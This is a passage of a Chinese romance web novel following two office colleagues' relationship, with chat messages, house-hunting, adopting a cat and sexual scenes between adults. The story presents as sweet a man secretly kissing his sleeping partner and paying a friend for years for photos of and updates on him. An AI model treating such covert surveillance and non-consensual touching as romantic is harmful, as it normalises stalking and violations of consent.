【席殃:好。】
【席殃:【愁】】
看着屏幕叹气的小黄豆表情包,沈垣之勾了一下唇。
【沈垣之:还有事?】
席殃很快回了消息。
【席殃:药膏有没有用,还疼不疼,我来看看你?】
沈垣之手一顿,脸上染上了一层温度。
【沈垣之:不疼了,席殃你能不能控制点,这是在公司,而且离我和你上次见面到现在不过半个小时。】
【席殃:嫌我黏人。】
看着屏幕发来的消息,大脑里脑补出席殃说这话的语气,沈垣之忍不住勾了一下唇,心想着语气好像是有点严肃,于是心软道。
【沈垣之:有点,中午一起吃饭吧。】
【席殃:好。】
【席殃:想吃什么,我订餐厅。】
沈垣之想了一下。
【沈垣之:就吃公司食堂吧,你有没有在公司吃过?等会儿带你去我的秘密基地吃。】
席殃很快回复。
【席殃:还没,期待33】
沈垣之疑惑地盯着后面的“33”看了几眼,不太懂的打字道。
【沈垣之:“33”是什么意思?】
【席殃:么么。】
毫无防备的沈垣之猛地将唇边的水噎了下去,他咳了好几声,打字道。
【沈垣之:你在哪学的。】
这次过了很久,席殃才回复。
【席殃:“点开就看恋爱手册大全,一天三个小妙招,让你成为最会谈恋爱的男人。”】
【席殃:“只要跟着这样做,不出三天你的伴侣更爱你了”。】
【席殃:学无止境。】
一想到席殃在办公室里竟然搜这个,沈垣之就忍不住笑出了声,刚刚喝下的温水仿佛加了蜂蜜般,让他的心里甜滋滋。
他垂眸,眼眸里全是温柔。
谈恋爱可真好呀。
——
社畜不配谈恋爱。
忙到快麻木的沈垣之在心里发出恨恨地感慨,尤其是在到饭点而他还在盯着工程部某助理怎么看都看不懂的会议报告时,“一天都不想上班”的情绪到达了顶峰。
虽然席殃已经给他发了消息,说不急,会等他,但他还是忍不住地想,怎么会这么忙!不仅如此他下午还要出去,以及这个报告是人写的吗,他怎么一个字都看不懂?!
维持好神色,沈垣之语气平静:“要不你再重新梳理一遍吧,我大概看了看,不是很能看明白。”
同事尴尬地朝他笑了一下:“好的,我下午再拿给你。”他解释道:“这两天太忙了,没来得及整理。”
沈垣之点了点头,又和他说了下注意事项后才离开,脚步匆忙离开了工程部,他这才有空回席殃的消息。
【沈垣之:我忙完了,你在哪里?】
席殃很快回了消息。
【席殃:我也才忙完,在办公室。】
下了电梯,沈垣之脚步一顿,正想往席殃办公室里走,一道声音从身后突然传来:“沈助,你是要吃饭去吗?”
回头一看,是部门的小实习生们,其中还有他的助理小琪。
沈垣之愣了一下:“是啊。”
或许是这段日子混熟了,小琪也渐渐不再那么拘谨,她有些不好意思地朝沈垣之笑了一下:“沈助,我们能不能和你一起乘电梯下去呀。”
沈垣之看了眼旁边久久没下来的电梯很快就明白了,他们公司各个方面都好,就是电梯分配的不合理,一到饭点更是人满为患。
因此设了个专用电梯,但需要刷卡。
沈垣之看了眼席殃办公室的方向,又看了眼满眼期待的小实习生们,最后还是刷卡进了电梯。
“谢谢沈助。”
“谢谢……”
此起彼伏的感谢声并没有抚慰沈垣之的心灵,他朝她们礼貌地笑笑过后,在角落里略带愧疚地给席殃发消息。
【沈垣之:事出有因,我先去食堂了。】
席殃应该是在等他,很快就回了消息。
【席殃:那食堂见,宝宝33。】
盯着屏幕看了几秒,沈垣之一大早的烦闷立马就被抚平了,他偷瞄了眼正在聊美妆没注意到他的小实习生们,很轻地勾了一下唇。
【沈垣之:待会见,宝宝33。】
发完消息后,沈垣之脸一红立马就按熄了屏幕,他堕落了,也跟着席殃“学无止境”了。
不过在不影响工作的前提下,好像也不赖。
沈垣之抿着唇笑了笑。
由于身体还是有些不适,沈垣之很自觉地挑了一些很清淡的食物,不过他一心二用,一边让阿姨给他打菜,一边搜寻席殃的身影。
潦草地扫过一圈没看见,正当他收回视线时察觉到有人在他腰后碰了一下,皱着眉回过头,下一秒便毫无防备地撞进一双熟悉的眼眸。
“沈助理好巧,你也来吃饭?”
明知故问。
沈垣之看了眼站在席殃身后的同事,矜持地点了下头:“是的席总,要不您先请。”
“不用。”席殃平静道:“我看看你吃什么。”
语气太陌生,沈垣之压了压嘴角,点点头说了声“好。”
两人装模作样地聊了下公事,沈垣之接过阿姨递来的饭盒,和席殃说了声“再见”后先行离开了,他站在楼梯间没一会儿就听到了脚步声。
接着门被拧开,沈垣之扭头看见席殃的脸。
“沈助理,怎么又遇见你了,”他随意端着盘子,轻挑了下眉:“好巧呀。”
倚在墙上,沈垣之忍不住笑:“还装。”
席殃没说话,朝他一步步凑近,直至两人气息交融,他声音变轻了些:“还疼不疼?”
“不疼了。”身前就是席殃,沈垣之紧绷的身体瞬间一松,不自觉地小声哼哼:“我上午好忙。”
席殃闻言轻轻笑了一下:“先吃饭?”
沈垣之点点头,他带着席殃往自己常休息的小休息室里走,期间还收到了一条微信消息——刚刚盛菜时站在席殃身后的那位男同事。
男同事姓辛,和沈垣之一起培训过,平时工作上虽然交集不多,但也说得上话。
【沈助理,新来的项目部长感觉脾气好好,他是哪里人呀?】
脾气挺好的项目部长现在被沈垣之坐着,手里还时不时给他揉揉腰——不久前两人一前一后进了休息室连灯都没有打开就抱在了一起。
先是席殃单方面的,沈垣之想着反正现在是下班时间也就随他去了,至于后来怎么坐到了他的腿上,沈垣之也不是很清楚。
将下巴搁在席殃的肩膀上,沈垣之搂着他,偏头嗅着席殃身上的味道叹了口气:“我下午不在公司,要去工厂。”
席殃“嗯”了声:“我下午也不在,还得去趟总部。”
说完,他们默契地保持了沉默。
两个全都是大忙人,在同个公司都难见面的那种,沈垣之很快笑着叹了口气:“这恋爱谈的……”
“怎么?”席殃闻言立马亲了一下他的耳朵:“后悔了?”
沈垣之被亲得抖了一下,他凶道:“别瞎亲。”
“没后悔,就是觉得好忙。”
席殃闻言将他抱得更紧了些,他腾出手摸了摸沈垣之的脸颊,指腹轻轻摩挲着:“累了?”
沈垣之蹭着他的掌心“嗯”了声:“有点。”他语气一顿,皱皱眉:“你说他们都是哪来的时间谈恋爱?”
席殃笑了一下:“我上网查查。”
沈垣之被他逗笑了:“你哪里找的那么多狗血公众号,还什么‘33’。”
“多形象呀。”席殃边说着边凑过去亲了亲他:“不喜欢吗?”
“一般般。”沈垣之看了他一眼:“故意找机会亲我是吧?”
被抓包的席殃立马笑出了声,他不再装,搂着人低头索吻:“亲一个。”
沈垣之凑过去贴了贴他的嘴唇,没等席殃加深这个吻,很快从他身上下来了:“充电完成。”
席殃搂了个空。
“来,”沈垣之朝他抬了下下巴:“席总,请您过来吃饭吧。”
席殃很快笑着走了过去,和沈垣之面对面坐着,两人安安静静地吃了饭,偶尔聊聊天,后来又坐了一会儿,沈垣之的电话又响了。
这次又是某个现场出了问题,部门经理谈不拢,对方要找黎总,经理将他的电话给了对面,沈垣之刚一接通,就先道歉,说了半个小时才平息对方的怒火。
期间席殃一直盯着他。
等到挂电话后,沈垣之才注意到席殃的视线,他心一紧,有些担心席殃不开心,毕竟这算是两人来之不易的独处时间。
正准备解释时,席殃突然盯着他开口道:“你什么时候休年假?”
沈垣之一愣:“还不确定,怎么了?”
“要不要和我出去玩?”
沈垣之这些年一直在忙工作,他没想过这个问题,但只要是席殃提起他就会考虑,于是点了点头:“好,你想去哪玩儿呀?”
揉了揉他因疲乏而发红的眼尾,席殃声音很轻:“等一中项目告一段落后,我们一起去挪威吧。”
第49章 第 49 章 “罚我以后不用套。”……
去挪威?
沈垣之眼皮一抬, 有些意外地看向席殃,他本以为席殃说的出去玩是周围某个城市,又或者只是去玩玩的统称, 没想到是想去挪威。
沈垣之愣了一下。
自从上次在车里被席殃呛过一次后,他便不再过问席殃这些年在挪威过得怎么样,后来从席殃言语中, 他大概知道应该过得不是很开心。
为什么没继续读博,为什么当初选了这个专业,以前不是很爱画画吗,为什么说……想找个解脱。
这些问题沈垣之其实很想弄个明白, 但或许是失而复得太难, 不想打破现在的局面,又或许是因为没来由的信心,他总觉得席殃会主动向他坦白。
虽然想要他完全说出来有些困难,但就像上次插花那样, 席殃总会透露出点什么,他们会在一起很久很久,沈垣之愿意陪他慢慢来。
“好不好?”见他沉默太久, 席殃捏了捏他的指尖, 语气轻轻的:“不用你考虑什么, 除了跟我走, 什么都可以交给我来安排。”
他语气一顿, 神色认真:“最主要还是想带你去我生活过的城市看看。”
不知道为什么,明明席殃说过比这要好听一万倍的话,但这话刚落音,沈垣之心里就被什么东西包裹似的又酸又胀。
他掩饰住翻腾的情绪,很轻地勾了下唇角:“卑尔根?”
席殃有些意外地睁大了眼:“你知道?”
本来想装一下酷的沈垣之见他这样动容地点了下头, 他眉头轻挑,漫不经心的语气里带着笑:“你该不会以为只有你在打听我的情况吧,自信点,男朋友——”
他眼眸含笑,伸手贴上了席殃的脸:“你也让我很难忘。”
摩挲着他的耳后,沈垣之稍稍用力,仍处于诧异中的席殃便配合着将脸抬了起来,双目对视,席殃眼眸微沉,垂着睫毛蹭了蹭他的掌心。
不知道是谁先凑近,等反应过来时,唇齿间早已是彼此的气息,安静的休息室里只有缠绵的呼吸声,无关情欲,就只是喜欢到不能再喜欢,情不自禁落下的一个吻而已。
用目光一寸寸描绘着席殃的五官,感受他因为自己而不断跳动的心脏,沈垣之又一次忍不住想,谈恋爱真好呀。
喜欢和席殃谈恋爱。
喜欢席殃。
像是感受到他的想法,移开唇后,席殃亲了亲他的眉毛,亲了亲他的眼睛,亲了亲他的鼻尖,最后将他牢牢地抱在了怀里,发出一声由衷地喟叹:“喜欢你。”
沈垣之很轻地勾了一下唇。
两人又安静地待了一会儿,直到听见门口传来同事说话声,沈垣之才低头看了眼手表:“要上班了。”
席殃没说话,只是伸手搂了一下他,呼吸间都是念念不舍。
沈垣之也很想和他黏在一起,不过在得到短暂的“充电”后,已经有信心熬过忙碌的下午了,而且他们真的太黏糊了,哪有小情侣这么黏糊的。
“下午好好工作,”沈垣之不由分说地拉开了两人间的距离,严肃且认真地给领导安排任务:“不许给我发骚扰消息。”
席殃闻言意味不明地勾了一下唇。
“笑什么笑。”
回想到自己以前给席殃发的那些消息,沈垣之先发制人地眯了眯眼:“你想到什么上去了。”
席殃不说话,唇边的笑意更深了些。
沈垣之见状佯怒道:“我那么辛苦的赚钱养家,你还笑我?!”
席殃闻言挑了一下眉,声音噙着笑:“你知道我给你的银行卡里有多少钱吗?”
沈垣之摇头。
席殃比了七位数,很酷地说:“养你不是问题。”
沈垣之一愣,丝毫没有被他这句霸总宣言打动,他立马站直了身,略显惊慌失措:“这么多钱你怎么能随随便便就给我,我昨天把它放哪里了,完了完了……”
“放床头柜了,”席殃叹了口气:“和套一起。”
“后面这句可以不用说。”耳尖一红,沈垣之顿了顿:“你现在真的太坏了,总漫不经心说一些骚话。”
“是的,我太坏了。”席殃大言不惭地点点头:“罚我以后不用套。”
眼看着话题被硬生生带偏,屁股疼着的沈垣之往后连退好几步,他指了指放在一旁的两套餐具,面无表情地指挥道:“放回去。”
说完,立马就开溜了。
席殃目送他的背影很轻地笑了一下,任劳任怨的收拾了餐具,从休息室到了餐厅,期间手机震动了一下,席殃点开一看,是小男朋友发来的消息。
【小圆:刚刚忘记跟你说,我答应了,请你好好安排这次的挪威之旅,要是让我满意的话可酌情给你一个奖励(不准回我,我要上班啦,晚上见,3333)】
席殃很快笑出了声。
在心里默默地回复了句:33宝宝。
——
这工作简直不是人干的。
沈垣之忙起来时连喝水的时间都没有,而且忙就算了,有时候遇到沟通不了的人,不仅身心受累,更多的是对自己素质的一种考验。
下午他跑了两趟地方,先是和中午打电话的部门经理去了趟施工现场,确定问题后让工程部的人自己来解决,之后又驱车五十公里去了工厂。
将生产线重新核查过,又和工厂负责人聊了最近严查的消防问题,等沈垣之往回开时都快下班了。
以往他都会直接开车回家,可今天不一样,他正任劳任怨地往公司开——不久前他给席殃发了消息。
席殃一下午也忙的没影,刚刚才从总部开会回来,沈垣之想起来手里还有点工作没处理完,两人便决定在公司碰面,一起下班回家。
刚出电梯,沈垣之就看见休息区围了两个小实习生,头碰着头,围在一起不知道在说些什么,像是有些苦恼。
沈垣之低头看了眼手表,早到了下班时间,正想着她们怎么还不回家时,其中一个看到了他并连忙说:“要不然问问沈助吧。”
脚步一顿,好奇心很重的沈垣之竖起了耳朵。
伴随着小女生们投来欲言又止、热切期盼视线中,沈垣之一眼看到了被助理小琪捧在手心里的小猫。
猫?
公司里怎么会有猫?
“我们准备下班的时候小何听见楼道里传来了猫声,”见沈垣之望过来,小琪解释道:“它全身湿漉漉的应该是淋了雨,饿得好像走不动,所以我们就把它抓过来了……”
“喵。”意识到是在说它,小三花小心翼翼地伸出小小的、有些脏的爪子,朝沈垣之的方向呼噜呼噜地叫了一声,圆溜溜的眼睛里有几分谨慎,很可爱。
沈垣之心一下就软了。
他很喜欢猫,小的时候就想养,但因为爸妈觉得不干净沈垣之连提都不敢提,平时在路上遇到小猫了投喂后也没有多摸摸,因为摸起来他就撒不开手。
工作后看着朋友圈经常有人晒猫晒狗,沈垣之也动过心思想养一只,他虽然没赚多少钱,但养只猫还是绰绰有余,不过最后他放弃了这个想法。
沈垣之现在住的地方是公司安排的,养猫最基本的就是要封窗吧,虽然加个窗不是什么大事,可那始终不是自己的家。
想到这,沈垣之眼眸沉了沉,片刻后他俯身看了呆呆的小猫一眼,还是忍不住夸道:“毛茸茸的。”
“是吧。”和朋友交换视线,小琪很殷勤地将猫送了过来:“而且还很好看。”
察觉到她语气的变化,沈垣之很快站直了身,朝她们笑了笑:“说吧,你们要问我什么?”
没想到之前说的话被听到了,小琪有些不好意思的笑了一下:“我们打算先送它去宠物医院检查,然后打算给他找个主人。”
话刚落音,两道视线便落在了沈垣之身上。
“什么意思,”沈垣之有些意外地愣了一下:“要我养啊?”他语气一顿,轻轻挑了下眉:“要是我不喜欢猫呢?”
“你喜欢的。”小琪腼腆一笑:“沈助你的头像是猫,换了好几次都是不同种类的猫,而且杯垫也是猫的形状,电脑壁纸也是猫。”
沈垣之一愣:“你倒是观察仔细。”
说完,他轻轻用手点了点猫的耳朵,在她们期待的目光下犹豫道:“先送它去医院检查一下,看看宠物店要不要留它。”
“找个好一点的宠物店,”沈垣之缩回手:“检查费找我报销。”
察觉到他的言外之意,小琪和小何对视了一眼,难掩失落地点了点头。
“要不要我开车送你们过去?”沈垣之问。
“不用不用。”小琪笑着将猫装进了纸袋子里,和沈垣之说了声再见后两人一前一后离开了。
临走前,那只小三花像是终于察觉到自己被“绑架”了,颤颤巍巍地伸出爪子在空中晃荡了几下,有些无力,像是在求救。
沈垣之眼眸一弯,很轻地勾了下唇角。
这一幕实在太可爱了,以至于沈垣之想起时都忍不住笑出了声,正开车的席殃偏头看了他一眼,眼眸里也噙了笑意:“什么事这么开心?”
“工作顺利?”
沈垣之闻言嘴立马撇了下来:“可别提了,我今天都快忙死了,好想一下就到周末……”
“对了,周末的学校周年庆需要我准备什么吗?”他语气一顿,“像贺礼之类的。”
席殃闻言摇摇头:“我们拿下了这么大的项目,这些小事让总部那边自己安排。”
沈垣之笑了笑:“口气不小。”
席殃也跟着笑了笑,他偏头看向沈垣之,眼眸里噙着笑:“所以什么事让你这么开心?”
沈垣之挑了一下眉,犹豫片刻后和他说了猫的事,没等他说出心里的顾忌,席殃看了他一眼,便很快笑着说了声:“问问你助理在哪个宠物医院。”
“要养呀?”沈垣之眼眸一亮。
“可我工作会很忙。”沈垣之也有些心动:“要是照顾不好它呢?”他语气一顿,说出了最核心的问题:“而且养猫要封窗,但我现在住的地方是公司的,如果要……”
“那就买个房。”
话刚落音,沈垣之愣了一下,意识到席殃在说什么,他立马笑了:“为了养猫要买房呀,可我没钱呀。”
“我有。”席殃很幼稚地拍了拍自己的口袋,没等沈垣之说话,他语气放轻了些:“前几天我咨询了几家中介,有几个楼盘看着还行,离公司不远,通勤时间和现在差不多,我们找个时间去看看?”
沈垣之有些跟不上他的思路,但听着他的话还是配合着笑出了声:“可以呀,不过怎么突然想着买房?”
席殃看了他一眼,没说话。
这一眼里的情绪太重,重到沈垣之明白了什么,重到让他不再觉得这是一句随口戏言,眼眸划过一丝不起眼涟漪,不断跳动的心口被暖意包裹着阵阵发烫。
“我想和你有个家。”
沉默之际,席殃低声道:“想和你住在一起,最好时时刻刻都能看到你,至于你想加多少窗,想养多少只猫,随你心意,都可以。”
第50章 第 50 章 “回去给你奖励。”……
家对于沈垣之来说是一个过于沉重的词, 在过去的十几年里,它代表着父母间数不清的争吵、貌合神离的恶语相向以及对沈垣之无尽的、令人窒息的期许,往往这些还不够, 还要面临莫名的打压和指责。
沈垣之不知道他们什么时候会大动肝火,也不明白他们生气的原因,他每天提心吊胆, 察言观色,做梦都想逃离,所以读大学后,沈垣之再也没有回去。
同样的, 他和父母也默契地不再联系——
在争吵了大半辈子他们突然和解, 选择和平离婚,不久后都有了各自新的家庭。
沈垣之当时已经成年,他们给他留了那套房子,这套房子最后以沈垣之以低价卖出, 他将这笔钱捐给了某家福利院。
自此,沈垣之与这个“家”彻底割席。
后来工作了,沈垣之又有了新的“家”, 不过他实在太忙了, 一天中待的最多的地方几乎就是公司, 回家就是洗漱休息。
头几个月样板房是什么样他家就是什么样, 直到某天沈垣之突然在梦中惊醒, 他放眼四周,觉得周围实在是太空旷了,这才慢慢地添置小家具,再到后来买了许多水培植物。
除此之外,沈垣之还有一个家。
那是个小小的出租屋, 四周都是筒子楼,人来人往的租户,房间里并不隔音,回南天时有些潮湿,灯光经常是偏黄的。
只是偶尔,会有阳光落进来。
那时沈垣之就会帮席殃牵着某个被角将被子晒在栏杆上,亦步亦趋跟在他身后,学他拍拍灰尘,他们会一起放学,会在书桌前头对头写作业,晚上听着对方的呼吸声入眠。
沈垣之喜欢被阳光晒过的被子,打心底里的温暖,他想大概这就是家的味道。时隔多年,这个曾经给过他家感觉的人,提出想和他有一个家,在个很平常的夜晚。
沈垣之说不出是什么滋味,大概是欣喜,雀跃,感动,或者是百分百期待着的。
沉默太久,席殃朝他轻轻笑了下:“在想什么?”
沈垣之眨了下眼,掩饰内心被充盈着的酸涩,漫不经心地轻哼了声:“想你怎么这么好。”
“这就好了呀?”席殃语气一顿,朝他轻轻抬了下下巴:“过来。”
沈垣之愣了愣。
“奖励我一下。”席殃握着方向盘目视前方,腾出手指了指自己的脸颊:“过来亲亲。”
看着他幼稚的举动,沈垣之立马就笑了声,他凑了过去,丝毫不顾及是在人潮汹涌的市区,说不定还能被人看见,仰起头亲了亲席殃的脸颊,他小声哼哼:“真幼稚。”
“就要幼稚。”席殃心满意足地笑了声,随后认真道:“我们先看看照片,选合你心意的,再找时间约中介去看?”
没过多考虑,沈垣之点点头:“好。”
话刚落音,沈垣之眼眸亮晶晶的,坐在副驾驶上像个小陀螺一样转来转去,一副闲不住的模样,席殃心里泛起一阵笑意,将手机递给了他:“现在看看?”
“我看了三套,其中一套在临江,还有两套在东区,微信里有中介发来的报价和照片,你先看看,要是不喜欢我们再看看其他的。”
沈垣之接过,开玩笑道:“手机里没什么是我不能看的吧?”
“没有,想看什么就看什么,”席殃语气淡淡的:“我人都被你看光了,全身上下都被你摸了,手机还算得了什么。”
沈垣之手一抖,他现在听不得席殃说这些,一说他就来劲,几乎是立刻就起了反应,他调整了下坐姿,佯怒道:“别老说这些勾引我。”
“我屁股还疼着。”
“不说了,是我的错。”席殃低声哄道:“回去给你揉揉。”
沈垣之立马就软了下来,连假装生气都做不到,要不是现在的情况不允许,他非得在席殃身上黏糊一阵。
调整着呼吸,沈垣之低头打开了手机,席殃的手机没设密码,壁纸也是系统自带的,软件也很少,他点开微信,唯一置顶的就是他。
不知道什么时候给他改了备注,小圆。
沈垣之眼眸一弯,心里甜滋滋的,没有过多窥探席殃的隐私,稍微扫了一眼后点开了通讯录,在标签里找到了中介。
点开和这个中介的聊天框,沈垣之向上滑,很快就找到了席殃说的那几套房,但是发的照片太多了,他实在有些分不清哪套是哪套。
“他发来的房型太多了,”注意到他皱了皱眉,像是想到了什么,席殃语气顿了顿:“去相册里看。”
没注意到他语气略微停顿,沈垣之退出微信直接点开了相册,席殃应该是之前看过,一点开就是房子的照片。
沈垣之认真看了许久,最后对有一个大阳台的临江房一见倾心:“这个。”
他指了指照片,并不忸怩:“我喜欢这个。”
席殃闻言偏头看了看,唇边很快噙上了笑:“好,我和中介联系。”
沈垣之点点头,刚想退出相册时手指不小心碰到了屏幕,下一秒,他就看到了他的照片。
穿着睡衣,昨天在他家里,闭着眼睛正熟睡的照片,向上还有许多,基本上都是他睡着时的样子,目光捕捉到其中一张照片时,沈垣之讶异的张大了双眼。
“这是……”一眼认出是在H市的那家酒店,像是想到了什么,沈垣之难以置信地大叫一声:“席殃!”
席殃自知逃不过,立马求饶道:“我在。”
“你,”沈垣之一时哑口无言:“你什么时候拍的,不对,那时候我俩还没在一起,你……”
他混乱的胡说一通,最后总结道:“所以那次我以为是做梦,压根就不是梦,你遛进我房里偷亲我了?!”
席殃点点头:“对不起,你睡得太迷糊了,我实在没忍住,”语气一顿,他全盘托出道:“还有一次,我们上班迟到的那天,我在车里也偷亲了。”
一想到迟到之后的事,沈垣之都快气笑了:“所以你亲完我之后还跟我吵架?”
越想越生气,沈垣之将手机扔给他,扭过头去不再说话。
席殃见状略微思考后,将车子停在了路边。
听到安全带解开的声音,沈垣之还没反应过来,刚扭过头去看就被结结实实地亲了一口。
席殃吻得很急,他的呼吸一下就变了。
还生着气,用手去推,两只手被牢牢地攥紧了,时不时揉着,力度就变了味,没过一会儿沈垣之就被撬开了唇。
舌尖相触,沈垣之后腰一软,顿时就没了脾气,从一开始的不配合到黏糊糊的回应,被亲的感觉太好,他情不自禁哼了几声。
席殃闻言轻轻咬了他一下,抵着他的唇说了声:“别生我气。”
沈垣之已经不太生气了,但嘴还是硬着:“你边吊着我,边背地偷亲我。”像是想到了什么,他语气一顿:“还凶我,我还不能生气了?”
气息被亲的凌乱,因此听着黏糊糊的,像是撒娇。
席殃眼眸一沉,又凑过去亲了亲他:“我错了,宝宝,男朋友,小圆,”语气一顿,他低声道:“老婆,我错了。”
话刚落音,沈垣之脸一下就红了,他恼羞成怒道:“谁是你老婆。”
“我是你老婆。”席殃面不改色道:“别生我气好不好?”
沈垣之都快气笑了,毫无气势地骂了一句:“滚开。”
席殃握着他的手放在自己的脸上,一副要将流氓进行到底的模样:“你扇我吧,只要不生气怎么都行。”
沈垣之闻言冷哼了声:“别以为我不知道你就喜欢我扇你,每次扇你的时候你就越来劲,”他“啧”了声:“都到这个时候了,还想要我奖励你呢?”
席殃立马就笑了:“冤枉。”
沈垣之不吃他这套:“快点开车回去,我今天要把这笔账算算清楚。”像是想到了什么,他语气一顿:“为什么还有我以前工作的照片,你买通谁了?”
席殃摇摇头,将手机藏了起来:“你看错了。”
沈垣之眯了下眼:“席殃。”将声音拖得很长:“快点,”看了下四周,他主动凑过去亲了亲他:“坦白从宽,回去给你奖励。”
说完,目光就落在了他早就起反应的地方。
席殃眼眸一沉,下一秒就毫无底线的将宁源供了出来:“我给他打钱,他给我发你的照片还有近况,”
语气一顿,席殃垂死挣扎道:“我只是在特别想你的时候才这样。”
没想到还有宁源的事,沈垣之笑着朝他伸了伸手:“手机拿来。”
席殃无奈地叹了口气,主动将手机递给了他。
“开车回家。”沈垣之接过手机指挥道。
伴随着车子启动,沈垣之点开了刚刚打开的照片,从不久前在酒店被亲开始向上划,沈垣之越看越震惊。
第一次举行会议,甚至连他管培期的照片都有,有时候角度很迷,看得出来拍摄者不太会拍,很难想象席殃怎么能为这些照片花钱的。
他叹了口气,心里渐渐被酸涩淹没,没再向上滑,他按了熄屏:“我还以为你就中途回来看过我一次,合着我这几年干了什么你都一清二楚?”
席殃没说话。
“如果我今天没看见的话,你会主动告诉我吗?”沈垣之声音低了些。
没过多思考,席殃摇摇头:“不会。”
“就知道。”沈垣之哼了声:“宁源拍的也太多了,你这得花多少钱?”
出乎意料地,席殃语气一顿:“你不觉得我……”
“不觉得。”沈垣之知道他想说什么,平静地打断道:“不觉得你变态,不觉得你占有欲强,我喜欢你这样。”
席殃眼眸一沉,哑声道:“你太惯着我了,我还能做比这更过分的事。”
沈垣之闻言笑了笑:“我巴不得你这样。”
席殃当时没说话,可之后沈垣之为这句话付出了惨痛的代价。
晚上八点,和中介确认了下周三去看房,和小琪确认了小猫刚打完疫苗还需要在医院观察一晚。
晚上九点,两人从小区散步消食回来,沈垣之正准备洗澡,他刚脱完衣服打开淋浴头,门就被人掐着点似的推开了。
晚上十点,安静的房间里发出阵阵啜泣声,床上两道身影交缠,伴随着一计深顶,席殃在他耳畔低声道:“巴不得我怎么样?”
“是不是这样?”席殃在床上就像变了个人:“还是这样?”
“宝宝,别光哭啊,和我说说话。”
沈垣之爽的想骂人。【你现在阅读的是魔蝎小说 moxiexs】
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第51章 第 51 章 “每天只干//我就好了……
开了荤的男人就是不一样, 管他外表西装革履有多正经,背地里就是发了疯的淫//魔上身,沈垣之好歹也是个正常成年男性, 身高少说没有185但再怎么也有180往上窜,体重偏瘦但也是正常水平。
平时还偶尔健健身,身体素质比一般的上班族要好得多, 在这样的情况下也遭不住席殃一天来这么多次。
等彻底完事后,沈垣之泡在浴缸里盯着头顶的灯眼前都有了重影,整个人全身上下软绵绵的,要不是席殃在身后搂着他估计得沉到浴缸底下去。
泡了大概十分钟, 沈垣之实在是抵不住困意, 头枕着席殃的身子闭着眼睛就睡了过去,等他再次有点意识时,人已经被席殃抱着走到了卧室。
席殃抱着他并不吃力,手臂肌肉贴着腰侧, 沈垣之有些留恋的用双腿夹着他的腰,头在他颈窝处蹭了蹭,他很困, 几乎是下意识地做出这些亲昵的动作。
席殃很快笑出了声, 扭过头在他脸颊旁落下一吻, 叫他乖乖, 问他怎么这么招人喜欢。
“你老说这些话哄我开心, ”恢复一点意识的沈垣之心存不满,张口就胡诌:“目的就是为了睡我。”
席殃动作轻柔的将他放在床上,将他的话照单全收,没说话只是笑。
床单换了新的,闻起来香香的, 沈垣之一进被窝就闭着眼闷头闷脑的往里面钻,席殃怕打扰他睡觉没用吹风机,替他用干毛巾擦头发。
头发被轻轻按着,呼吸间全是熟悉的味道,沈垣之舒服的哼了好几声,没一会儿就蹭着席殃的掌心就有了睡意,席殃偶尔用手摸摸他的睫毛,抚摸他被亲的有些发肿的嘴唇。
沈垣之挺喜欢他做这些小动作的,很亲昵,比起干那档子事的凶猛显得格外缱绻温柔,只是他太困了,在席殃再次摸他的嘴唇时张口咬住了他的指腹,并用齿牙轻轻磨了磨,以示惩戒。
席殃落在他脸上的视线更深了。
不知道什么时候头发被擦干,沈垣之半梦半醒间感觉到席殃起身了,门被关上,离开的人过了许久都没回来。
沈垣之有些迷茫的睁开了眼,按理说他不是个黏人的人,但好不容易在一起,他这会儿就想挨着席殃。
望着黑漆漆的房间,沈垣之心没来由的发闷,可能是真累迷糊了,又有可能这些都太美好了,寂寥无人的夜里,显得很像是一场梦。
心里骤然一空,沈垣之没了睡意,他坐了起来呆呆地看向门口。
席殃进来时看到的就是这一幕。
双目对视,是沈垣之先移开了视线。
他轻撇了一下唇,一句话也没说又缩回了床上,只是微红的眼尾在月色下逃不过席殃的眼,席殃一愣,连忙上了床。
“刚刚黎慎言给我打了电话,我和他聊了几句,”将人完完全全抱在怀里,席殃哄他:“怎么了,做噩梦了?”
“没有。”沈垣之并不忸怩,没和席殃在一起前他确实有些拧巴,口是心非,做这个不开心,做那个也不乐意,在一起之后切切实实感受到席殃对他的喜欢,他就重新做回了自己,不开心就直说,坦率得可爱。
“就想你陪着我。”
“黏人精。”席殃笑他,双臂却将人搂得更紧了些,安抚着亲了亲他的唇,声音轻轻的:“揉揉?”
边说着,手便自觉地搭上了沈垣之的腰上。
沈垣之很快就被揉的小声哼哼,回过身来和席殃面对面,伸手制止了他:“越揉越疼。”
双目对视,他眼尾还是红的,睫毛很长,五官哪哪都漂亮,刚□□透过,整个人说不出来的水灵,身上穿着的是不久前席殃添置的情侣睡衣,沐浴露也换上席殃常用的那款,头发也是席殃擦干的。
全身上下哪里都是他的痕迹。
席殃眼眸一沉,心里那点阴暗面被满足,特别舒爽地叹出一口气,沈垣之一听就觉不妙,果不其然一睁眼就对上了席殃那深沉的眼神。
条件反射的全身一颤,想着将人一脚踹开好了,但还是有些舍不得,沈垣之只好皱眉警告道:“再来我就要废了。”
“以后一周四次,多的没有。”
说完作势要转过身去。
席殃很快将他搂紧了,没给人转身的机会,他低下头亲了亲他的额头,低声应允:“好。”
说完还爱不释手地揉揉他的头发,沈垣之一下就软了,将头埋在席殃的颈窝,困到不行,闭着眼稀里糊涂说着胡话:“黎总找你什么事?”
“一中周年庆的事,”席殃声音很轻:“顺便问问项目进程。”
沈垣之大脑迟钝的运转着,一中项目他每天都在和黎炫跟进着,黎慎言明面上是呈声最大的老板,私底下又和黎炫关系不简单,按理说两人私底下肯定有交流,不明白黎慎言为什么还要单独问席殃。
今天才周二,离周六还有这么多天。
还这么晚。
黎慎言还喜欢男的。
沈垣之皱眉,心里有些不得劲。
“我打算干完这个项目就辞职。”席殃很快给出了解释:“黎慎言估计察觉到了,有心留我。”
沈垣之眼睁开了下,有些意外地看了他一眼,双目对视那刻,他又毫不意外地点点头:“知道了。”
这下意外的就是席殃了,他抬了抬他的下巴,声音很轻:“怎么不意外?”
“不意外。”任由他折腾,沈垣之又闭上了眼:“你不喜欢这份工作。”
席殃没说话。
“我见过你画画的样子,很投入。”沈垣之声音很轻,像指针轻轻拨动一般席殃的心弦:“和现在的状态完全不一样,”他总结道:“你迟早会辞职的。”
席殃眼眸一沉,眼里全是笑意:“嗯。”将人搂得更紧了些,他噙着笑开口:“可我失业后什么都没有了。”
沈垣之知道席殃是故意逗他,专门捡些好听点的来说:“瞎说,你还有那么多钱,不久后还有房,有猫,”
越说画面越清晰,沈垣之说着睁开了眼,认真道:“还有我。”
说完,他又有些不开心:“你整天打扮的那么好看,别人都盯着,说实话我早就受不了了,你干脆什么事都不要做,每天只干我好了。”
